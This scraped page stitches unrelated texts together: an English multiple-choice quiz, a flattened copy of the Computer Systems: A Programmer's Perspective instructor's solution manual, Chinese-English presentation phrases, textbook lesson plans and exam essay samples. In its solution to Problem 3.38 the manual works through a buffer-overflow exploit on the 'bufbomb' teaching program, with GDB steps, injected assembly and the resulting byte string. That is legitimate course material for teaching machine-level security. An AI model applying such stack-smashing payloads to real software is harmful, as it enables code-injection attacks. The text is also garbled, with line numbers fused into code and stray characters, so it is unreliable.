disturbs me is that the so-called weak students are separated ____________ the rest of the school.A. withB. awayC. fromD. toCorrect answer: C9. The professor agreed that the four students could ____________ the final the following day.A. makeB. make upC. make up fromD. make throughCorrect answer: B10. Harvard offered a classic academic course based on the model of English universities, but consistent ____________ the prevailing Puritan philosophy.A. inB. atC. withD. alongCorrect answer: C11. It's a really difficult balance to ____________, actually maintaining the quality but making sure as many young people as possible can enter college.A. blowB. beatC. hitD. strikeCorrect answer: D。
answer
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff call8048470<getxs>98048506:b801000000mov$0x1,%eax10804850b:89ec mov%ebp,%esp11804850d:5d pop%ebp12804850e:c3ret13804850f:90nopWe can see on line6that the address of buf is12bytes below the saved value of%ebp,which is4bytes below the return address.Our strategy then is to push a string that contains12bytes of code,the saved value1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS15 of%ebp,and the address of the start of the buffer.To determine the relevant values,we run GDB as follows:1.First,we set a breakpoint in getbuf and run the program to that point:(gdb)break getbuf(gdb)runComparing the stopping point to the disassembly,we see that it has already set up the stack frame.2.We get the value of buf by computing a value relative to%ebp:(gdb)print/x(%ebp+12)This gives0xbfffefbc.3.Wefind the saved value of register%ebp by dereferencing the current value of this register:(gdb)print/x*$ebpThis gives0xbfffefe8.4.Wefind the value of the return pointer on the stack,at offset4relative to%ebp:(gdb)print/x*((int*)$ebp+1)This gives0x8048528We can now put this information together to generate assembly code for our attack:1pushl$0x8048528Put correct return pointer back on stack2movl$0xdeadbeef,%eax Alter return value3ret Re-execute return4.align4Round up to125.long0xbfffefe8Saved value of%ebp6.long0xbfffefbc Location of buf7.long0x00000000PaddingNote that we have used the.align statement to get the assembler to insert enough extra bytes to use up twelve bytes for the code.We added an extra4bytes of0s at the end,because in some cases OBJDUMP would not generate the complete byte pattern for the data.These extra bytes(plus the termininating null byte)will overflow into the stack frame for test,but they will not affect the program behavior. Assembling this code and disassembling the object code gives us the following:10:6828850408push$0x804852825:b8ef be ad de mov$0xdeadbeef,%eax3a:c3ret4b:90nop Byte inserted for alignment.5c:e8ef ff bf bc call0xbcc00000Invalid disassembly.611:ef out%eax,(%dx)Trying to diassemble712:ff(bad)data813:bf00000000mov$0x0,%edi16CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS From this we can read off the byte sequence:6828850408b8ef be ad de c390e8ef ff bf bc ef ff bf00000000Problem3.39Solution:This problem is a variant on the asm examples in the text.The code is actually fairly simple.It relies on the fact that asm outputs can be arbitrary lvalues,and hence we can use dest[0]and dest[1]directly in the output list.code/asm/asmprobs-ans.c Problem3.40Solution:For this example,students essentially have to write the entire function in assembly.There is no(apparent) way to interface between thefloating point registers and the C code using extended asm.code/asm/fscale.c1.4.CHAPTER4:PROCESSOR ARCHITECTURE17 1.4Chapter4:Processor ArchitectureProblem4.32Solution:This problem makes students carefully examine the tables showing the computation stages for the different instructions.The steps for iaddl are a hybrid of those for irmovl and OPl.StageFetchrA:rB M PCvalP PCExecuteR rB valEPC updateleaveicode:ifun M PCDecodevalB RvalE valBMemoryWrite backR valMPC valPProblem4.34Solution:The following HCL code includes implementations of both the iaddl instruction and the leave instruc-tions.The implementations are fairly straightforward given the computation steps listed in the solutions to problems4.32and4.33.You can test the solutions using the test code in the ptest subdirectory.Make sure you use command line argument‘-i.’18CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1####################################################################2#HCL Description of Control for Single Cycle Y86Processor SEQ#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"sim.h"’15quote’int sim_main(int argc,char*argv[]);’16quote’int gen_pc(){return0;}’17quote’int main(int argc,char*argv[])’18quote’{plusmode=0;return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’35intsig IPUSHL’I_PUSHL’36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##### 48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic####################1.4.CHAPTER4:PROCESSOR ARCHITECTURE195152#####Fetch stage inputs#####53intsig pc’pc’#Program counter54#####Fetch stage computations#####55intsig icode’icode’#Instruction control code56intsig ifun’ifun’#Instruction function57intsig rA’ra’#rA field from instruction58intsig rB’rb’#rB field from instruction59intsig valC’valc’#Constant from instruction60intsig valP’valp’#Address of following instruction 6162#####Decode stage computations#####63intsig valA’vala’#Value from register A port64intsig valB’valb’#Value from register B port 6566#####Execute stage computations#####67intsig valE’vale’#Value computed by ALU68boolsig Bch’bcond’#Branch test6970#####Memory stage computations#####71intsig valM’valm’#Value read from memory727374####################################################################75#Control Signal Definitions.#76#################################################################### 7778################Fetch Stage################################### 7980#Does fetched instruction require a regid byte?81bool need_regids=82icode in{IRRMOVL,IOPL,IPUSHL,IPOPL,83IIADDL,84IIRMOVL,IRMMOVL,IMRMOVL};8586#Does fetched instruction require a constant word?87bool need_valC=88icode in{IIRMOVL,IRMMOVL,IMRMOVL,IJXX,ICALL,IIADDL};8990bool instr_valid=icode in91{INOP,IHALT,IRRMOVL,IIRMOVL,IRMMOVL,IMRMOVL,92IIADDL,ILEAVE,93IOPL,IJXX,ICALL,IRET,IPUSHL,IPOPL};9495################Decode Stage################################### 9697##What register should be used as the A source?98int srcA=[99icode in{IRRMOVL,IRMMOVL,IOPL,IPUSHL}:rA;20CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 101icode in{IPOPL,IRET}:RESP;1021:RNONE;#Don’t need register103];104105##What register should be used as the B source?106int srcB=[107icode in{IOPL,IRMMOVL,IMRMOVL}:rB;108icode in{IIADDL}:rB;109icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;110icode in{ILEAVE}:REBP;1111:RNONE;#Don’t need register112];113114##What register should be used as the E destination?115int dstE=[116icode in{IRRMOVL,IIRMOVL,IOPL}:rB;117icode in{IIADDL}:rB;118icode in{IPUSHL,IPOPL,ICALL,IRET}:RESP;119icode in{ILEAVE}:RESP;1201:RNONE;#Don’t need register121];122123##What register should be used as the M destination?124int dstM=[125icode in{IMRMOVL,IPOPL}:rA;126icode in{ILEAVE}:REBP;1271:RNONE;#Don’t need register128];129130################Execute Stage###################################131132##Select input A to ALU133int aluA=[134icode in{IRRMOVL,IOPL}:valA;135icode in{IIRMOVL,IRMMOVL,IMRMOVL}:valC;136icode in{IIADDL}:valC;137icode in{ICALL,IPUSHL}:-4;138icode in{IRET,IPOPL}:4;139icode in{ILEAVE}:4;140#Other instructions don’t need ALU141];142143##Select input B to ALU144int aluB=[145icode in{IRMMOVL,IMRMOVL,IOPL,ICALL,146IPUSHL,IRET,IPOPL}:valB;147icode in{IIADDL,ILEAVE}:valB;148icode in{IRRMOVL,IIRMOVL}:0;149#Other instructions don’t need ALU1.4.CHAPTER4:PROCESSOR ARCHITECTURE21151152##Set the ALU function153int alufun=[154icode==IOPL:ifun;1551:ALUADD;156];157158##Should the condition codes be updated?159bool set_cc=icode in{IOPL,IIADDL};160161################Memory Stage###################################162163##Set read control signal164bool mem_read=icode in{IMRMOVL,IPOPL,IRET,ILEAVE};165166##Set write control signal167bool mem_write=icode in{IRMMOVL,IPUSHL,ICALL};168169##Select memory address170int mem_addr=[171icode in{IRMMOVL,IPUSHL,ICALL,IMRMOVL}:valE;172icode in{IPOPL,IRET}:valA;173icode in{ILEAVE}:valA;174#Other instructions don’t need address175];176177##Select memory input data178int mem_data=[179#Value from register180icode in{IRMMOVL,IPUSHL}:valA;181#Return PC182icode==ICALL:valP;183#Default:Don’t write anything184];185186################Program Counter Update############################187188##What address should instruction be fetched at189190int new_pc=[191#e instruction constant192icode==ICALL:valC;193#Taken e instruction constant194icode==IJXX&&Bch:valC;195#Completion of RET e value from stack196icode==IRET:valM;197#Default:Use incremented PC1981:valP;199];22CHAPTER 1.SOLUTIONS TO HOMEWORK PROBLEMSME DMispredictE DM E DM M E D E DMGen./use 1W E DM Gen./use 2WE DM Gen./use 3W Figure 1.1:Pipeline states for special control conditions.The pairs connected by arrows can arisesimultaneously.code/arch/pipe-nobypass-ans.hcl1.4.CHAPTER4:PROCESSOR ARCHITECTURE232#At most one of these can be true.3bool F_bubble=0;4bool F_stall=5#Stall if either operand source is destination of6#instruction in execute,memory,or write-back stages7d_srcA!=RNONE&&d_srcA in8{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||9d_srcB!=RNONE&&d_srcB in10{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||11#Stalling at fetch while ret passes through pipeline12IRET in{D_icode,E_icode,M_icode};1314#Should I stall or inject a bubble into Pipeline Register D?15#At most one of these can be true.16bool D_stall=17#Stall if either operand source is destination of18#instruction in execute,memory,or write-back stages19#but not part of mispredicted branch20!(E_icode==IJXX&&!e_Bch)&&21(d_srcA!=RNONE&&d_srcA in22{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||23d_srcB!=RNONE&&d_srcB in24{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE});2526bool D_bubble=27#Mispredicted branch28(E_icode==IJXX&&!e_Bch)||29#Stalling at fetch while ret passes through pipeline30!(E_icode in{IMRMOVL,IPOPL}&&E_dstM in{d_srcA,d_srcB})&&31#but not condition for a generate/use hazard32!(d_srcA!=RNONE&&d_srcA in33{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}||34d_srcB!=RNONE&&d_srcB in35{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE})&&36IRET in{D_icode,E_icode,M_icode};3738#Should I stall or inject a bubble into Pipeline Register E?39#At most one of these can be true.40bool E_stall=0;41bool E_bubble=42#Mispredicted branch43(E_icode==IJXX&&!e_Bch)||44#Inject bubble if either operand source is destination of45#instruction in execute,memory,or write back stages46d_srcA!=RNONE&&47d_srcA in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE}|| 48d_srcB!=RNONE&&49d_srcB in{E_dstM,E_dstE,M_dstM,M_dstE,W_dstM,W_dstE};5024CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 52#At most one of these can be true.53bool M_stall=0;54bool M_bubble=0;code/arch/pipe-full-ans.hcl 1####################################################################2#HCL Description of Control for Pipelined Y86Processor#3#Copyright(C)Randal E.Bryant,David R.O’Hallaron,2002#4####################################################################56##This is the solution for the iaddl and leave problems78####################################################################9#C Include’s.Don’t alter these#10#################################################################### 1112quote’#include<stdio.h>’13quote’#include"isa.h"’14quote’#include"pipeline.h"’15quote’#include"stages.h"’16quote’#include"sim.h"’17quote’int sim_main(int argc,char*argv[]);’18quote’int main(int argc,char*argv[]){return sim_main(argc,argv);}’1920####################################################################21#Declarations.Do not change/remove/delete any of these#22#################################################################### 2324#####Symbolic representation of Y86Instruction Codes#############25intsig INOP’I_NOP’26intsig IHALT’I_HALT’27intsig IRRMOVL’I_RRMOVL’28intsig IIRMOVL’I_IRMOVL’29intsig IRMMOVL’I_RMMOVL’30intsig IMRMOVL’I_MRMOVL’31intsig IOPL’I_ALU’32intsig IJXX’I_JMP’33intsig ICALL’I_CALL’34intsig IRET’I_RET’1.4.CHAPTER4:PROCESSOR ARCHITECTURE25 36intsig IPOPL’I_POPL’37#Instruction code for iaddl instruction38intsig IIADDL’I_IADDL’39#Instruction code for leave instruction40intsig ILEAVE’I_LEAVE’4142#####Symbolic representation of Y86Registers referenced explicitly##### 43intsig RESP’REG_ESP’#Stack Pointer44intsig REBP’REG_EBP’#Frame Pointer45intsig RNONE’REG_NONE’#Special value indicating"no register"4647#####ALU Functions referenced explicitly##########################48intsig ALUADD’A_ADD’#ALU should add its arguments4950#####Signals that can be referenced by control logic##############5152#####Pipeline Register F##########################################5354intsig F_predPC’pc_curr->pc’#Predicted value of PC5556#####Intermediate Values in Fetch Stage###########################5758intsig f_icode’if_id_next->icode’#Fetched instruction code59intsig f_ifun’if_id_next->ifun’#Fetched instruction function60intsig f_valC’if_id_next->valc’#Constant data of fetched instruction 61intsig f_valP’if_id_next->valp’#Address of following instruction 6263#####Pipeline Register D##########################################64intsig D_icode’if_id_curr->icode’#Instruction code65intsig D_rA’if_id_curr->ra’#rA field from instruction66intsig D_rB’if_id_curr->rb’#rB field from instruction67intsig D_valP’if_id_curr->valp’#Incremented PC6869#####Intermediate Values in Decode Stage#########################7071intsig d_srcA’id_ex_next->srca’#srcA from decoded instruction72intsig d_srcB’id_ex_next->srcb’#srcB from decoded instruction73intsig d_rvalA’d_regvala’#valA read from register file74intsig d_rvalB’d_regvalb’#valB read from register file 7576#####Pipeline Register E##########################################77intsig E_icode’id_ex_curr->icode’#Instruction code78intsig E_ifun’id_ex_curr->ifun’#Instruction function79intsig E_valC’id_ex_curr->valc’#Constant data80intsig E_srcA’id_ex_curr->srca’#Source A register ID81intsig E_valA’id_ex_curr->vala’#Source A value82intsig E_srcB’id_ex_curr->srcb’#Source B register ID83intsig E_valB’id_ex_curr->valb’#Source B value84intsig E_dstE’id_ex_curr->deste’#Destination E register ID。
总结的pre用语
总结的pre用语转帖一成功英语演讲的秘诀：开场白、结束语应对问题-I will be pleased to answer any questions you may have at the end of the presentation. -Please can you save your questions till the end.-If you have any questions, I will be pleased to answer them at the end of the presentation. -there will be time at the end of the presentation to answer your questions-so please feel free to ask me anything then.-Don't hesitate to interrupt if you have a question.-Please feel free to interrupt me at any time.-Please stop me if you have any questions.-If you need clarification on any point, you're welcome to ask questions at any time.-Can I come back to that point later?-I will be coming to that point in a minute.-That's a tricky question.-We will go into details later. But just to give you an idea of...-I am afraid there's no easy answer to that one...-Yes, that's a very good point.-Perhaps we could leave that point until the questions at the end of the presentation-I think I said that I would answer questions at the end of the presentation---perhaps you wouldn't mind waiting until then.-I think we have time for just one more question欢迎听众(正式)- Welcome to our company- I am pleased to be able to welcome you to our company...- I'd like to thank you for coming.- May I take this opportunity of thanking you for coming欢迎听众(非正式)- I'm glad you could all get here...- I'm glad to see so many people here.- It's GREat to be back here.- Hello again everybody. Thank you for being on time/making the effort to come today. - Welcome to X Part II.受邀请在会议上致词- I am delighted/pleased/glad to have the opportunity to present/of making this presentation...- I am grateful for the opportunity to present...- I'd like to thank you for inviting/asking me/giving me the chance to...- Good morning/afternoon/evening ladies and gentleman- It's my pleasant duty today to...- I've been asked to...告知演讲的话题- the subject of my presentation is...- I shall be speaking today about...- My presentation concerns...- Today's topic is...- Today we are here to give a presentation on...- Today we are here to talk about...Before we start, I'd like you meet my team members... - A brief look at today's agenda...(告诉听众所讲内容的先后顺序)- Before we start our presentation, let's take a brief look at the agenda...- I shall be offering a brief analysis of...- the main area that I intend to cover in this presentation is...- Take a moment and think of...- Thank you for giving me the opportunity to tell you about...告诉听众发言的长度- During the next ten minutes, I shall...- I shall be speaking for about ten minutes...- My presentation will last for about ten minutes...- I won't take up more than ten minutes of your time...- I don't intend to speak for longer than ten minutes...- I know that time is short, so I intend to keep this brief- I have a lot to cram in to the next ten minutes, so I'd better make a start...引起听众的兴趣- I'm going to be speaking about something that is vitally important to all of us.- My presentation will help solve a problem that has puzzled people for years...- At the end of this presentation you will understand why this company has been so successful for so long...- I am going to be talking about a product that could double your profit margins...- the next ten minutes will change your attitude to sales and marketing...- Over the next ten minutes you are going to hear about something that will change the way your companies operate...- By the end of this presentation you will know all there is to know about...告诉听众内容要点- there are five main aspects to this topic (...the first, ... the second, ...a third, ...another, ... the final)- I am going to examine these topics in the following order (...first, ...next, ...after that, ...finally)- I've divided my talk into five parts...- I will deal with these topics in chronological order...- I'm going to start with a general overview and then focus on this particular problem (...in general, ...more particularly).- I want to start with this particular topic, and then draw some more general conclusions from it (...specifically, ... in a wider context).- there are (a number of) factors that may affect...- We have to take into account in any discussion of this subject, the following considerations.- We all ought to be aware of the following points.结束语-In conclusion, I'd like to...-I'd like to finish by...-Finally...-By way of conclusion...-I hope I have made myself understood-I hope you have found this useful-I hope this has given you some idea/clear idea/an outline of...-Let me end by saying...-That, then was all I had to say on...-That concludes our presentation...-I hope I've managed to give you a clearer picture of...-If there are any questions, I'd be delighted to...-Thank you for your attention...-Let's break for a coffee at this point-I am afraid that the clock is against us, so we had better stop here-You have been a very attentive audience---thank you转自/abc/html/kouyujicui/20070821/4.html转帖二做presentation，我们要注意对话题的准备以及态度和身体语言等等，除此之外，我们还应该掌握一些常用句型。
牛津译林版(2019)必修 第二册 Unit2 Welcome to the unit 教案
How many sports do you know?
The teacher has students brainstorm a list of sports andthen groupsthem into3 big categories:ball games,trackand fieldandwater sports.
Book 2 Unit 2Besporty, be healthy
Welcome to the unit
教学目标
By the end of this section, students will be able to:
1.identify the humour in the jokes;
2. know the important role sports play;
A: They stand close to thefans.
Cool：
(1)Used to show that you admire or approve of something because it is fashionable, attractive and often different.
Ball：
(1)A round object used for throwing, hitting or kicking in games and sports.
(2)A large formal p来自rty with dance.
Joke5
Q: How do basketball players staycoolduring the game?
Sample answer:
They trick the reader by cleverly playing with words that have more than one meaning.
人教版(新)高中英语必修第一册U1 Reading and Thinking 课件
Contextual clue: I tried to join the school football team, but the coach told me that I didn't play well enough.
Yes, he is.
Outlining
4.1 Complete the outline according to the text.
Paragraph 1 2
Challenge
Going from junior high school to senior high school
Choosing _s_u_it_a_b_le_courses
2.Do you face the same challenge with Adam? What other challenges are you facing? How do you deal with them?
Yes, I do. Making friends.I help others and try to be a good listener. ......
Unit 1 Teenage Life
Reading and Thinking
Lead-in
What do these pictures describe?
Think and answer
1 Work in groups.Discuss the questions.
1.What do you want to know about school life in other countries?
Unit+2+Reading+and+Thinking人教版(2019)选择性必修第二册
ask for lost，I
thhaidngtso^Iatdhsiakdtp/nwa'thsikscenhrosw-btyhfeorEnhgellips，h nbaumt epseofoprle.WhehreensIpgeoatk
fast and use words I'm not familiar with.I ask them to repeat
D[3.]HAot wfirtsot，geXtiealLoenighwadithtohaedracplatstsomliafeteisn. a different
country.“You have to get used to a whole new life，” she
said.“I had to learn how to use public transport and how to
1.Match the main idea with each paragraph.
Para.1 A. Xie Lei’s trouble in the new way of life.
Para.2 B. Xie Lei went to study abroad.
Para.3 Para.4
C. The participation in classes. D. Xie Lei has been involved in her
first time that she had left China.“I was very excited but also
quite nervous.I didn't know what to expect，” Xie Lei recalled.
[2]Xie Lei is studying for a business qualification at a university in China and has come to our university on a year-long exchange programme.“I chose the exchange programme because I wanted to learn about global business and improve my English .My ambition is to set up a business in China after graduation ，” she explained.
考研英语作文范文（通用10篇）
考研英语作⽂范⽂（通⽤10篇）考研英语作⽂范⽂（通⽤10篇） 考研英语作⽂是全国硕⼠研究⽣⼊学统⼀考试英语（⼀）SectionⅢ writingPart A 部分的考试内容。
下⾯是⼩编收集的考研英语作⽂范⽂，希望对⼤家有所帮助。
考研英语作⽂篇1 Directions: You are going to attend a concert with your friend Peter. Write a note to tell him what the concert is about. Please also specify the time and place of the concert, the price of the ticket, and where you put the ticket. You should write about 100 words on ANSWER SHEET 2. Do not sign your own name at the end of the letter. Use “Li Ming” instead. 考研英语作⽂篇2 Peter, Do you remember I mentioned last week that the famous young Chinese pianist Lang Lang is going to hold a concert on our campus? Well, I succeeded in buying two cheapest tickets for both of us, that is, 20 yuan each. I hear that Lang Lang plans to present a diverse combination of works of classical musicians such as Beethoven, Bach and Mozart., which surely will satisfy enthusiastic followers of classical music like you and me. The concert starts at 7pm this Saturday night, and I have left ticket on your desk beside your laptop. See you at the concert. Lin Ming 译⽂： 彼得： 你还记得我上周提起过著名的年轻华⼈钢琴演奏家朗朗将在我们学校举办⾳乐会么？我成功地给我们两个⼈买到了两张票，是最便宜的20元每张。
英语电子试题 U5
